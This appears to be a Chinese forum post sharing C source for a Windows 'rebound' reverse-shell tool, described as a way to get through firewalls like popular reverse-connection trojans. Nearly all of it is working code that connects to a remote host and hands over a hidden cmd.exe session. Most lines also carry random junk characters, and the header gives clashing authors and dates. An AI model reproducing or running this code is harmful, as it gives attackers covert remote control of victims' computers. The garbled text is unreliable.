这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +0dT^Jkqg
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/* ============================== X?R
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Rebound port in Windows NT D>Ua#<52q
By wind,2006/7 |mvM@V;^8{
===============================*/ o"\{OX
#include p>&S7M/9
#include -tMA
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#pragma comment(lib,"wsock32.lib") fzyzuS$
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void OutputShell(); )6 k1 P
SOCKET sClient; R|-j]Ne
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V pH|R
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void main(int argc,char **argv) `yx56
{ {?y<%@
WSADATA stWsaData; )gjGG8Ee
int nRet; E$R_rX4x
SOCKADDR_IN stSaiClient,stSaiServer; wcl!S {
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if(argc != 3) >HX)MwAP
{ 3AvcJ1
printf("Useage:\n\rRebound DestIP DestPort\n"); fRFYJFc n
return; "5h_8k~sQ
} @ce3%`c_
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WSAStartup(MAKEWORD(2,2),&stWsaData); oAaf)?8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /0l-mfRr
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stSaiClient.sin_family = AF_INET; Qj:{p5H'
stSaiClient.sin_port = htons(0); .X^43
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xh`Du|jvm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '(XW$D
{ 4Lw'v: (
printf("Bind Socket Failed!\n"); x.o3iN[=
return;
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} }`#Bf
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stSaiServer.sin_family = AF_INET; zG<0CZQ8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \wFhTJY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C-r."L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rCkYfTYI
{ p[b7E`7
printf("Connect Error!"); L/5z!
return; %~G0[fG
} \"t`W:
OutputShell(); D*qzNT@`LR
} v23TL
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void OutputShell() _En]@xK3&
{ EL"4E',
char szBuff[1024]; ~%/'0}F
SECURITY_ATTRIBUTES stSecurityAttributes; LK{a9`
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OSVERSIONINFO stOsversionInfo; uFWvtL?;_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; unpfA#&!"
STARTUPINFO stStartupInfo; O4n8MM|`
char *szShell; ]2P/G5C3tU
PROCESS_INFORMATION stProcessInformation; #c:9V2
unsigned long lBytesRead; b6]e4DL:R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); coSTZ&0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1ZKz3)K
stSecurityAttributes.lpSecurityDescriptor = 0; S7Qen6lm
stSecurityAttributes.bInheritHandle = TRUE; >d'EInSF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ipfm'aQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T4l-sJ'|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q;IhLBl'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |HNQ|r_5S
stStartupInfo.wShowWindow = SW_HIDE; p
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stStartupInfo.hStdInput = hReadPipe; ~T;K-9R
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X4XFu
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GetVersionEx(&stOsversionInfo); GCZu<,
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switch(stOsversionInfo.dwPlatformId) Y7*'QKz2
{ 9&&kgKKGQ
case 1: m)(SG
szShell = "command.com"; LciL/?
break; 'T6B_9GQ8
default: Feh"!k <6k
szShell = "cmd.exe"; </8be=e7p
break; neK*jdaP
} 5c*p2:]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9UB??049z
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send(sClient,szMsg,77,0); FfZ{%E
while(1) XryQ)x(
{ @"jmI&hYn
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UUZ6N ZQI
if(lBytesRead) e =0l<Rj
{ :v|r= #OI
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qfwwh`;
send(sClient,szBuff,lBytesRead,0); yLV2>kq
} []^PJ
else fmatc#G
{ WT;.>F
lBytesRead=recv(sClient,szBuff,1024,0); i0i.sizu
if(lBytesRead<=0) break; 5?<|3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} #rqyy0k0'h
} S(@*3]!q
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return; kyp U&F
}